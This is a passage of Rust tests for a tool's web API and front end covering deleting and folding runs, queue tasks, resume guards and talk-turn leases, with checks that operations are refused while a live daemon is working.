23779        );
23780        let run_id = "20260901-000000-r111";
23781        t1.runs.push(run_id.to_owned());
23782        write_run(&fx.runs(), run_id, RunStatus::Merged);
23783        q.put(&mut t1).expect("put t1");
23784
23785        // Delete by short id
23786        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23787        assert_eq!(res.status, 204);
23788        assert!(res.body.is_empty(), "204 No Content has no body");
23789        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23790        assert!(
23791            fx.runs().join(run_id).exists(),
23792            "run directory must not be deleted when its task is deleted"
23793        );
23794
23795        // 2. A task a live daemon is running is refused with 409.
23796        let mut t2 = Task::new(
23797            "Task 2".to_owned(),
23798            "Instruction 2".to_owned(),
23799            PathBuf::from("/repo"),
23800            Source::Human,
23801        );
23802        t2.status = TaskStatus::Running;
23803        q.put(&mut t2).expect("put t2");
23804        let mut beat = crate::daemon::Status::new();
23805        beat.current = vec![crate::daemon::Current {
23806            worker: None,
23807            task: t2.id.clone(),
23808            run: "20260901-000000-r222".to_owned(),
23809        }];
23810        beat.updated_at = jiff::Timestamp::now();
23811        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23812            .expect("publish a heartbeat");
23813        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23814        assert_eq!(res.status, 409);
23815        assert!(
23816            res.json()["error"]
23817                .as_str()
23818                .unwrap()
23819                .contains("live daemon")
23820        );
23821        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23822
23823        // 3. The same `running` status and an orphaned lock, with no daemon
23824        // behind either, is a leftover and deletable. Before this the phone
23825        // refused it for good: the status never changes on its own and
23826        // nothing drops a lock whose process is gone.
23827        // The daemon is killed: the file stays, the heartbeat stops.
23828        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23829        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23830            .expect("leave a stale heartbeat");
23831        let mut t3 = Task::new(
23832            "Task 3".to_owned(),
23833            "Instruction 3".to_owned(),
23834            PathBuf::from("/repo"),
23835            Source::Human,
23836        );
23837        t3.status = TaskStatus::Running;
23838        q.put(&mut t3).expect("put t3");
23839        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23840        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23841        assert_eq!(res.status, 204);
23842        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23843        assert!(
23844            q.claim(&t3.id).is_ok(),
23845            "the stale lock went with it, so the id is claimable again"
23846        );
23847
23848        // 4. Missing id returns 404
23849        let res = fx.delete("/api/queue/nonexistent").await;
23850        assert_eq!(res.status, 404);
23851    }
23852
23853    #[tokio::test]
23854    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23855        let fx = Fixture::start().await;
23856        let runs = fx.runs();
23857
23858        // 1. Finished and folded run can be deleted along with artifacts
23859        let run_id = "20260901-000000-fold";
23860        let mut state = RunState::new(
23861            PathBuf::from("/repo"),
23862            "main".to_owned(),
23863            "abc".to_owned(),
23864            "instruction".to_owned(),
23865            Config::default(),
23866        );
23867        state.id = run_id.to_owned();
23868        state.status = RunStatus::Merged;
23869        state.candidates.push(crate::run::Candidate {
23870            index: 0,
23871            label: 'A',
23872            agent: "a".to_owned(),
23873            branch: "b".to_owned(),
23874            worktree: PathBuf::from("/w"),
23875            summary: String::new(),
23876            stat: String::new(),
23877            files: 1,
23878            commits: 1,
23879            empty: false,
23880            failed: None,
23881            verified_noop: None,
23882            duration_ms: 0,
23883            folded: true,
23884        });
23885        let dir = runs.join(run_id);
23886        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23887        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23888            .expect("write artifact");
23889        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23890            .expect("write run.json");
23891
23892        // Delete by short id
23893        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23894        assert_eq!(res.status, 204);
23895        assert!(res.body.is_empty(), "204 has no body");
23896        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23897
23898        // 2. A run a live daemon is working on is refused with 409. The
23899        // heartbeat is what makes it refusable: an unfinished run with no
23900        // daemon behind it is a leftover from a killed process, and case 1
23901        // above would otherwise be impossible to tell apart from this one.
23902        let run_running = "20260901-000000-rung";
23903        write_run(&runs, run_running, RunStatus::Prep);
23904        let mut beat = crate::daemon::Status::new();
23905        beat.current = vec![crate::daemon::Current {
23906            worker: None,
23907            task: "20260901-000000-task".to_owned(),
23908            run: run_running.to_owned(),
23909        }];
23910        beat.updated_at = jiff::Timestamp::now();
23911        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23912            .expect("publish a heartbeat");
23913        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23914        assert_eq!(res.status, 409);
23915        assert!(
23916            res.json()["error"]
23917                .as_str()
23918                .unwrap()
23919                .contains("live daemon"),
23920            "the refusal must say who is holding it"
23921        );
23922        assert!(
23923            runs.join(run_running).exists(),
23924            "a run in flight keeps its directory"
23925        );
23926
23927        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23928        let run_unfolded = "20260901-000000-unfd";
23929        let mut state2 = RunState::new(
23930            PathBuf::from("/repo"),
23931            "main".to_owned(),
23932            "abc".to_owned(),
23933            "instruction".to_owned(),
23934            Config::default(),
23935        );
23936        state2.id = run_unfolded.to_owned();
23937        state2.status = RunStatus::Ready;
23938        state2.candidates.push(crate::run::Candidate {
23939            index: 0,
23940            label: 'A',
23941            agent: "a".to_owned(),
23942            branch: "b".to_owned(),
23943            worktree: PathBuf::from("/w"),
23944            summary: String::new(),
23945            stat: String::new(),
23946            files: 1,
23947            commits: 1,
23948            empty: false,
23949            failed: None,
23950            verified_noop: None,
23951            duration_ms: 0,
23952            folded: false,
23953        });
23954        let dir2 = runs.join(run_unfolded);
23955        std::fs::create_dir_all(&dir2).expect("create dir2");
23956        std::fs::write(
23957            dir2.join("run.json"),
23958            serde_json::to_string(&state2).unwrap(),
23959        )
23960        .expect("write run.json");
23961
23962        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23963        assert_eq!(res.status, 409);
23964        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23965        assert!(dir2.exists(), "unfolded run directory is kept");
23966
23967        // 4. Missing id returns 404
23968        let res = fx.delete("/api/runs/nonexistent").await;
23969        assert_eq!(res.status, 404);
23970    }
23971
23972    /// The queue tiles on the Stats tab must render even on a home with no
23973    /// runs at all: queue state is not derived from run history, so hiding
23974    /// the whole dashboard body behind "no runs yet" would drop the one
23975    /// thing this tab promises unconditionally (queued/running/held/done).
23976    /// A DOM-level test would need a browser this suite does not have, so
23977    /// this pins the same invariant textually: `renderStatsQueue` is called
23978    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23979    /// block that gates the run-derived panels.
23980    #[test]
23981    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23982        let start = APP_JS
23983            .find("function renderStats() {")
23984            .expect("renderStats");
23985        let end = start
23986            + APP_JS[start..]
23987                .find("function statsTile(")
23988                .expect("the next top-level function");
23989        let body = &APP_JS[start..end];
23990
23991        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23992        let gate_end = gate_start
23993            + body[gate_start..]
23994                .find("}\n  renderStatsQueue")
23995                .expect("the gate's own closing brace, right before the unconditional call");
23996        let gated = &body[gate_start..gate_end];
23997
23998        assert_eq!(
23999            body.matches("renderStatsQueue(").count(),
24000            1,
24001            "renderStats must call renderStatsQueue exactly once: {body}"
24002        );
24003        assert!(
24004            !gated.contains("renderStatsQueue"),
24005            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
24006             run-derived panels on an empty run history - the queue panel has to render \
24007             regardless: {gated}"
24008        );
24009    }
24010
24011    #[test]
24012    fn web_ui_delete_contract_in_front_end() {
24013        // 1. API block has both delete endpoints
24014        assert!(APP_JS.contains("deleteRun:"));
24015        assert!(APP_JS.contains("deleteTask:"));
24016
24017        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
24018        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
24019            ..APP_JS.find("function renderRuns").unwrap()];
24020        assert!(!run_cards_slice.to_lowercase().contains("delete"));
24021
24022        // 3. Run detail has delete entry and reasons
24023        assert!(APP_JS.contains("renderRunDelete"));
24024        assert!(APP_JS.contains("runDeleteReason"));
24025        assert!(APP_JS.contains("magi fold"));
24026        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
24027
24028        // 4. Two-step delete arming and focus on Cancel
24029        assert!(APP_JS.contains("cancel.focus"));
24030        assert!(APP_JS.contains("armedRunDelete"));
24031        assert!(APP_JS.contains("renderTaskDeleteBox"));
24032        assert!(APP_JS.contains("armed${cap(key)}"));
24033
24034        // 5. Running task has disabled delete
24035        assert!(APP_JS.contains("disabled: status === \"running\""));
24036    }
24037
24038    /// Every element a run card's updater reaches for must be in the `refs`
24039    /// the builder handed it.
24040    ///
24041    /// `createRunCard` builds its elements, appends them to the card, and then
24042    /// lists them again in `row.refs`. That second list is the one the updater
24043    /// uses, and nothing connects the two - an element can be built, appended
24044    /// and rendered, and still be missing from `refs`. `superseded` was, for
24045    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
24046    /// exception took `syncList` with it, and the deck showed
24047    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
24048    /// line is computed before the cards, which is why the failure looked like
24049    /// a server that had lost its runs rather than a front end that had
24050    /// stopped rendering them.
24051    ///
24052    /// A `cargo test` cannot execute the front end, so this reads the two
24053    /// halves out of the source and compares them as sets. It is not a check
24054    /// on the wording of either list: adding an element, renaming one, or
24055    /// reordering them all keeps this passing, and only using one the builder
24056    /// never published fails it.
24057    #[test]
24058    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
24059        let build = APP_JS
24060            .find("function createRunCard")
24061            .expect("createRunCard exists");
24062        let update = APP_JS
24063            .find("function updateRunCard")
24064            .expect("updateRunCard exists");
24065        let end = APP_JS
24066            .find("function renderRuns")
24067            .expect("renderRuns exists");
24068
24069        // The builder's published set: the object literal assigned to `refs`.
24070        let builder = &APP_JS[build..update];
24071        let open = builder.find("refs = {").expect("createRunCard sets refs");
24072        let literal = &builder[open + "refs = {".len()..];
24073        let close = literal.find('}').expect("the refs literal is closed");
24074        let published: HashSet<&str> = literal[..close]
24075            .split(',')
24076            // `name` and `name: value` both bind `name`.
24077            .filter_map(|entry| entry.split(':').next())
24078            .map(str::trim)
24079            .filter(|name| !name.is_empty())
24080            .collect();
24081        assert!(
24082            published.len() > 5,
24083            "the refs literal did not parse into names: {published:?}"
24084        );
24085
24086        // What the updaters reach for: every `r.<name>`, where `r` is the
24087        // `const r = row.refs` alias both functions open with.
24088        let mut used: Vec<&str> = Vec::new();
24089        let updaters = &APP_JS[update..end];
24090        for (at, _) in updaters.match_indices("r.") {
24091            // `r` must be the whole identifier, not the tail of another one
24092            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
24093            let before = updaters[..at].chars().next_back();
24094            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
24095                continue;
24096            }
24097            let rest = &updaters[at + 2..];
24098            let len = rest
24099                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
24100                .unwrap_or(rest.len());
24101            if len > 0 {
24102                used.push(&rest[..len]);
24103            }
24104        }
24105        assert!(
24106            used.len() > 5,
24107            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
24108        );
24109
24110        let missing: Vec<&str> = used
24111            .iter()
24112            .copied()
24113            .filter(|name| !published.contains(name))
24114            .collect();
24115        assert!(
24116            missing.is_empty(),
24117            "a run card's updater reaches for {missing:?}, which `createRunCard` \
24118             never put in `refs` - every card will throw and the list will \
24119             render empty under a count line that says otherwise. Published: \
24120             {published:?}"
24121        );
24122    }
24123
24124    #[tokio::test]
24125    async fn folding_from_the_phone_reports_what_it_removed() {
24126        let fx = Fixture::start().await;
24127        let runs = fx.runs();
24128
24129        // A run with no candidates has nothing to fold, which is a 200 with an
24130        // honest count rather than an error: the operator asked for the trees
24131        // to be gone and they are.
24132        let id = "20260901-000000-fold";
24133        write_run(&runs, id, RunStatus::Stalled);
24134        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24135        assert_eq!(res.status, 200);
24136        assert_eq!(res.json()["removed_count"], 0);
24137        assert_eq!(res.json()["run"], id);
24138        assert!(
24139            runs.join(id).exists(),
24140            "a fold keeps the run's record; only the worktrees go"
24141        );
24142    }
24143
24144    /// `runs/<A>/run.json` holding run B's record is not run A: the phone's fold
24145    /// routes refuse it instead of folding B on A's say, and change nothing.
24146    #[tokio::test]
24147    async fn folding_a_record_that_names_another_run_is_refused() {
24148        let fx = Fixture::start().await;
24149        let runs = fx.runs();
24150        let (a, b) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24151        write_run(&runs, a, RunStatus::Stalled);
24152        write_run(&runs, b, RunStatus::Stalled);
24153        std::fs::copy(runs.join(b).join("run.json"), runs.join(a).join("run.json")).unwrap();
24154        let record = std::fs::read(runs.join(a).join("run.json")).unwrap();
24155
24156        let res = fx.post(&format!("/api/runs/{a}/fold"), None).await;
24157        assert_eq!(res.status, 500, "{}", res.body);
24158        assert!(res.body.contains("not run"), "{}", res.body);
24159        let res = fx
24160            .post(
24161                &format!("/api/runs/{a}/fold-merged"),
24162                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24163            )
24164            .await;
24165        assert_eq!(res.status, 500, "{}", res.body);
24166        assert_eq!(
24167            std::fs::read(runs.join(a).join("run.json")).unwrap(),
24168            record
24169        );
24170    }
24171
24172    #[tokio::test]
24173    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
24174        let fx = Fixture::start().await;
24175        let runs = fx.runs();
24176        let wt = fx.home.path().join("wt").join("magi").join("dead");
24177        let id = "20260901-000000-dead";
24178        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24179        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24180        std::fs::create_dir_all(&wt).expect("worktree dir");
24181
24182        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24183        assert_eq!(res.status, 200, "{}", res.body);
24184        assert!(
24185            res.json()["removed_count"].as_u64().unwrap() > 0,
24186            "the worktree this build could not read a state for still went"
24187        );
24188        assert!(
24189            !runs.join(id).exists(),
24190            "an unreadable run has no candidate list to fold selectively, so \
24191             the whole record goes - same as `magi fold` on the CLI"
24192        );
24193    }
24194
24195    #[tokio::test]
24196    async fn folding_a_record_of_another_run_in_a_refused_schema_is_an_identity_error() {
24197        let fx = Fixture::start().await;
24198        let runs = fx.runs();
24199        let id = "20260901-000000-mism";
24200        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24201        let record = br#"{"schema": 99999, "id": "20260901-000000-else"}"#.to_vec();
24202        std::fs::write(runs.join(id).join("run.json"), &record).expect("record");
24203
24204        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24205        assert_eq!(res.status, 500, "{}", res.body);
24206        assert!(
24207            res.json()["error"]
24208                .as_str()
24209                .unwrap()
24210                .contains("records run 20260901-000000-else"),
24211            "{}",
24212            res.body
24213        );
24214        assert_eq!(
24215            std::fs::read(runs.join(id).join("run.json")).unwrap(),
24216            record,
24217            "nothing is removed"
24218        );
24219    }
24220
24221    #[tokio::test]
24222    async fn deleting_an_unreadable_run_removes_it_wholesale() {
24223        let fx = Fixture::start().await;
24224        let runs = fx.runs();
24225        let wt = fx.home.path().join("wt").join("magi").join("gone");
24226        let id = "20260901-000000-gone";
24227        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24228        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24229        std::fs::create_dir_all(&wt).expect("worktree dir");
24230
24231        let res = fx.delete(&format!("/api/runs/{id}")).await;
24232        assert_eq!(res.status, 204, "{}", res.body);
24233        assert!(!runs.join(id).exists(), "the broken record is gone");
24234        assert!(!wt.exists(), "its worktree is gone too");
24235    }
24236
24237    #[tokio::test]
24238    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
24239        let fx = Fixture::start().await;
24240        let runs = fx.runs();
24241        let id = "20260901-000000-live";
24242        write_run(&runs, id, RunStatus::Implementing);
24243
24244        let mut beat = crate::daemon::Status::new();
24245        beat.current = vec![crate::daemon::Current {
24246            worker: None,
24247            task: "20260901-000000-task".to_owned(),
24248            run: id.to_owned(),
24249        }];
24250        beat.updated_at = jiff::Timestamp::now();
24251        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24252            .expect("publish a heartbeat");
24253
24254        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24255        assert_eq!(res.status, 409);
24256        assert!(
24257            res.json()["error"]
24258                .as_str()
24259                .unwrap()
24260                .contains("live daemon"),
24261            "folding under a running agent would pull its worktree away"
24262        );
24263    }
24264
24265    #[tokio::test]
24266    async fn fold_merged_requires_a_pr_url() {
24267        let fx = Fixture::start().await;
24268        let runs = fx.runs();
24269        let id = "20260901-000000-nourl";
24270        write_run(&runs, id, RunStatus::Blocked);
24271
24272        let res = fx
24273            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
24274            .await;
24275        assert_eq!(res.status, 400, "{}", res.body);
24276
24277        let blank = fx
24278            .post(
24279                &format!("/api/runs/{id}/fold-merged"),
24280                Some(r#"{"pr_url":"   "}"#),
24281            )
24282            .await;
24283        assert_eq!(blank.status, 400, "{}", blank.body);
24284    }
24285
24286    #[tokio::test]
24287    async fn fold_merged_is_404_for_an_unknown_run() {
24288        let fx = Fixture::start().await;
24289        let res = fx
24290            .post(
24291                "/api/runs/nosuchrun/fold-merged",
24292                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24293            )
24294            .await;
24295        assert_eq!(res.status, 404, "{}", res.body);
24296    }
24297
24298    #[tokio::test]
24299    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
24300        let fx = Fixture::start().await;
24301        let runs = fx.runs();
24302        let id = "20260901-000000-livemerge";
24303        write_run(&runs, id, RunStatus::Blocked);
24304
24305        let mut beat = crate::daemon::Status::new();
24306        beat.current = vec![crate::daemon::Current {
24307            worker: None,
24308            task: "20260901-000000-task".to_owned(),
24309            run: id.to_owned(),
24310        }];
24311        beat.updated_at = jiff::Timestamp::now();
24312        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24313            .expect("publish a heartbeat");
24314
24315        let res = fx
24316            .post(
24317                &format!("/api/runs/{id}/fold-merged"),
24318                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24319            )
24320            .await;
24321        assert_eq!(res.status, 409, "{}", res.body);
24322        assert!(
24323            res.json()["error"]
24324                .as_str()
24325                .unwrap()
24326                .contains("live daemon"),
24327            "correcting a run's merge underneath a running agent would race \
24328             whatever it is doing to the same `status`/`merge` fields"
24329        );
24330    }
24331
24332    /// A pull request `gh` cannot even ask about (no such remote, no such
24333    /// repository) must never be recorded as a merge on a guess - the same
24334    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
24335    /// command line, reached here through the phone route instead.
24336    #[tokio::test]
24337    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
24338        let fx = Fixture::start().await;
24339        let runs = fx.runs();
24340        let id = "20260901-000000-unconfirmed";
24341        write_run(&runs, id, RunStatus::Blocked);
24342
24343        let res = fx
24344            .post(
24345                &format!("/api/runs/{id}/fold-merged"),
24346                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24347            )
24348            .await;
24349        assert_eq!(res.status, 400, "{}", res.body);
24350        assert_eq!(
24351            read_run(&runs, id).unwrap().status,
24352            RunStatus::Blocked,
24353            "a pull request that could not be confirmed merged must leave \
24354             the run exactly where it was"
24355        );
24356    }
24357
24358    #[tokio::test]
24359    async fn terminal_runs_cannot_be_resumed() {
24360        let fx = Fixture::start().await;
24361        let runs = fx.runs();
24362
24363        for (status, word) in [
24364            (RunStatus::Merged, "merged"),
24365            (RunStatus::Ready, "ready"),
24366            (RunStatus::Failed, "failed"),
24367        ] {
24368            let id = format!("20260901-000000-{}", &word[..4]);
24369            write_run(&runs, &id, status);
24370            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
24371            assert_eq!(res.status, 409, "{word} must not be resumable");
24372        }
24373    }
24374
24375    #[tokio::test]
24376    async fn resume_is_refused_while_the_loop_is_running() {
24377        let fx = Fixture::start().await;
24378        let runs = fx.runs();
24379        let stalled = "20260901-000000-stal";
24380        write_run(&runs, stalled, RunStatus::Stalled);
24381
24382        // The loop is busy with a *different* run, and that is still a
24383        // refusal: a manual resume must never race whatever the loop itself
24384        // is already driving, whether that is one run or several.
24385        let mut beat = crate::daemon::Status::new();
24386        beat.current = vec![crate::daemon::Current {
24387            worker: None,
24388            task: "20260901-000000-task".to_owned(),
24389            run: "20260901-000000-othr".to_owned(),
24390        }];
24391        beat.updated_at = jiff::Timestamp::now();
24392        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24393            .expect("publish a heartbeat");
24394
24395        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
24396        assert_eq!(res.status, 409);
24397        let err = res.json()["error"].as_str().unwrap().to_owned();
24398        assert!(err.contains("othr"), "it names what the loop is on: {err}");
24399        assert!(err.contains("stop it first"), "{err}");
24400    }
24401
24402    #[test]
24403    fn a_run_cannot_be_resumed_twice_at_once() {
24404        let home = TempDir::new().expect("temp home");
24405        let ui = Ui::new(
24406            Queue::at(home.path().join("queue")),
24407            Questions::at(home.path().join("questions")),
24408            Talks::at(home.path().join("talks")),
24409            home.path().join("runs"),
24410            home.path().to_path_buf(),
24411            PathBuf::from("/repo"),
24412        )
24413        .with_worktrees_root(home.path().join("wt"));
24414        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
24415        let again = ui.begin_resume("20260901-000000-once");
24416        assert!(again.is_err(), "a second tap must not start a second graph");
24417        drop(first);
24418        assert!(
24419            ui.begin_resume("20260901-000000-once").is_ok(),
24420            "and the claim is released when the attempt ends"
24421        );
24422    }
24423
24424    #[test]
24425    fn talk_thinking_tracks_only_its_held_turn_claim() {
24426        let home = TempDir::new().expect("temp home");
24427        let ui = Ui::new(
24428            Queue::at(home.path().join("queue")),
24429            Questions::at(home.path().join("questions")),
24430            Talks::at(home.path().join("talks")),
24431            home.path().join("runs"),
24432            home.path().to_path_buf(),
24433            PathBuf::from("/repo"),
24434        )
24435        .with_worktrees_root(home.path().join("wt"));
24436        let id = "20260901-000000-once";
24437
24438        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
24439        let turn = ui.begin_talk_turn(id).expect("claim turn");
24440        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
24441        assert!(
24442            !ui.is_thinking("20260901-000000-other"),
24443            "one talk's turn does not make another talk busy"
24444        );
24445        drop(turn);
24446        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
24447    }
24448
24449    #[test]
24450    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
24451        let home = TempDir::new().expect("temp home");
24452        let talks = Talks::at(home.path().join("talks"));
24453        let ui = Ui::new(
24454            Queue::at(home.path().join("queue")),
24455            Questions::at(home.path().join("questions")),
24456            talks.clone(),
24457            home.path().join("runs"),
24458            home.path().to_path_buf(),
24459            PathBuf::from("/repo"),
24460        )
24461        .with_worktrees_root(home.path().join("wt"));
24462        let id = "20260901-000000-cross";
24463
24464        let other = Talks::at(home.path().join("talks"))
24465            .claim_turn(id)
24466            .expect("claim")
24467            .expect("the other process wins");
24468        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
24469        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
24470        assert!(
24471            matches!(
24472                ui.begin_talk_turn_unless_pending(id).expect("start"),
24473                TalkTurnStart::Foreign
24474            ),
24475            "a foreign holder is refused, not queued behind"
24476        );
24477        assert!(
24478            !ui.talk_turns.lock().unwrap().live.contains(id),
24479            "a refused claim leaves no in-process entry behind"
24480        );
24481        drop(other);
24482        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
24483        assert!(talks.turn_held(id), "the web turn holds the lease");
24484        drop(turn);
24485        assert!(
24486            !talks.turn_held(id),
24487            "dropping the guard releases the lease"
24488        );
24489    }
24490
24491    fn consult_question(ui: &Ui) -> Question {
24492        let mut q = Question::new(
24493            "20260901-000000-consult".to_owned(),
24494            "implement".to_owned(),
24495            "impl-A".to_owned(),
24496            "Which backend?".to_owned(),
24497            String::new(),
24498            vec!["SQLite".to_owned(), "Redis".to_owned()],
24499        );
24500        ui.questions.put(&mut q).expect("question");
24501        q
24502    }
24503
24504    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
24505        (
24506            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
24507            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
24508        )
24509    }
24510
24511    #[tokio::test]
24512    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
24513        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24514        let q = consult_question(&ui);
24515        let talk = ui.talks.get(&id).expect("talk");
24516        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
24517        let before = consult_snapshot(&ui, &q, &id);
24518        let cli_talks = Talks::at(ui.home.join("talks"));
24519        assert_eq!(
24520            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
24521                .await
24522                .expect("CLI starter"),
24523            crate::consult::Started::Busy
24524        );
24525        assert_eq!(consult_snapshot(&ui, &q, &id), before);
24526        assert!(ui.is_thinking(&id));
24527        drop(guard);
24528        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
24529    }
24530
24531    #[tokio::test]
24532    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
24533        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24534        let q = consult_question(&ui);
24535        let talk = ui.talks.get(&id).expect("talk");
24536        let started = tmp.path().join("started");
24537        let release = tmp.path().join("release");
24538        let script = tmp.path().join("consult-agent.sh");
24539        std::fs::write(
24540            &script,
24541            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
24542        )
24543        .expect("script");
24544        let mut cfg = stub_config();
24545        cfg.agents[0].id = "mock".to_owned();
24546        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
24547        cfg.agents[0].env = std::collections::BTreeMap::from([
24548            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
24549            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
24550        ]);
24551        let questions = ui.questions.clone();
24552        let cli_talks = Talks::at(ui.home.join("talks"));
24553        let cli_q = q.clone();
24554        let turn = tokio::spawn(async move {
24555            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
24556        });
24557        let ready = tokio::time::timeout(Duration::from_secs(30), async {
24558            while !started.exists() {
24559                tokio::time::sleep(Duration::from_millis(10)).await;
24560            }
24561        })
24562        .await;
24563        // Always release and join the agent, even if readiness or the web
24564        // request fails, so a failed assertion cannot leave a turn behind.
24565        let refusal = if ready.is_ok() {
24566            let before = consult_snapshot(&ui, &q, &id);
24567            let result = talk_say(
24568                State(Arc::clone(&ui)),
24569                Path(id.clone()),
24570                Ok(Json(NewTalkTurn {
24571                    reply_to: None,
24572                    text: "another message".to_owned(),
24573                    attachments: Vec::new(),
24574                })),
24575            )
24576            .await;
24577            Some((result, before, consult_snapshot(&ui, &q, &id)))
24578        } else {
24579            None
24580        };
24581        std::fs::write(&release, "").expect("release agent");
24582        let done = turn.await.expect("join CLI turn");
24583        ready.expect("agent started before deadline");
24584        let (result, before, after) = refusal.expect("web request");
24585        let error = result.expect_err("web must refuse the CLI's turn");
24586        assert_eq!(error.status, StatusCode::CONFLICT);
24587        assert!(error.message.contains("a turn is already running"));
24588        assert_eq!(
24589            after, before,
24590            "refusal preserves question, draft and history"
24591        );
24592        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24593        let guard = ui
24594            .begin_talk_turn(&id)
24595            .expect("web claim")
24596            .expect("free again");
24597        drop(guard);
24598    }
24599
24600    #[test]
24601    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24602        let home = TempDir::new().expect("temp home");
24603        let talks = Talks::at(home.path().join("talks"));
24604        let ui = Ui::new(
24605            Queue::at(home.path().join("queue")),
24606            Questions::at(home.path().join("questions")),
24607            talks.clone(),
24608            home.path().join("runs"),
24609            home.path().to_path_buf(),
24610            PathBuf::from("/repo"),
24611        )
24612        .with_worktrees_root(home.path().join("wt"));
24613        let id = "20260901-000000-order";
24614        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24615        // Hold the slot mutex so the drop can finish the lease but not the slot.
24616        let slots = ui.talk_turns.lock().unwrap();
24617        let dropper = std::thread::spawn(move || drop(turn));
24618        let start = std::time::Instant::now();
24619        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24620            std::thread::sleep(Duration::from_millis(5));
24621        }
24622        assert!(!talks.turn_held(id), "the lease is released first");
24623        assert!(slots.live.contains(id), "the slot is still held meanwhile");
24624        drop(slots);
24625        dropper.join().expect("join");
24626        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24627    }
24628
24629    #[tokio::test]
24630    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24631        let fx = Fixture::start().await;
24632        let mut beat = crate::daemon::Status::new();
